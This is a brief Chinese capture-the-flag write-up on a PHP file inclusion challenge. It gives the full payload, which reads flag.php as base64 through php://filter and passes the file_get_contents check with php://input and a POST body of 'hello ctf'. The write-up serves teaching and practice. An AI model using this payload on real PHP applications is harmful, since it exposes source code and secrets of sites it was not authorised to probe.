背景知识
文件包含漏洞
题目
分析上述代码
file2被放入file_get_contents()函数,且要求返回值为hello ctf
file1是要包含的文件,放在include函数中
用php://filter伪协议读取源代码
构造payload:
file1=php://filter/read=convert.base64-encode/resource=flag.php
这里出现了file_get_contents()函数,用php://input绕过,即
file2=php://input
所以最终的payload为
/?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input
且post传入 hello ctf
可以用hackbar或者bp
得到base64编码
解码可得flag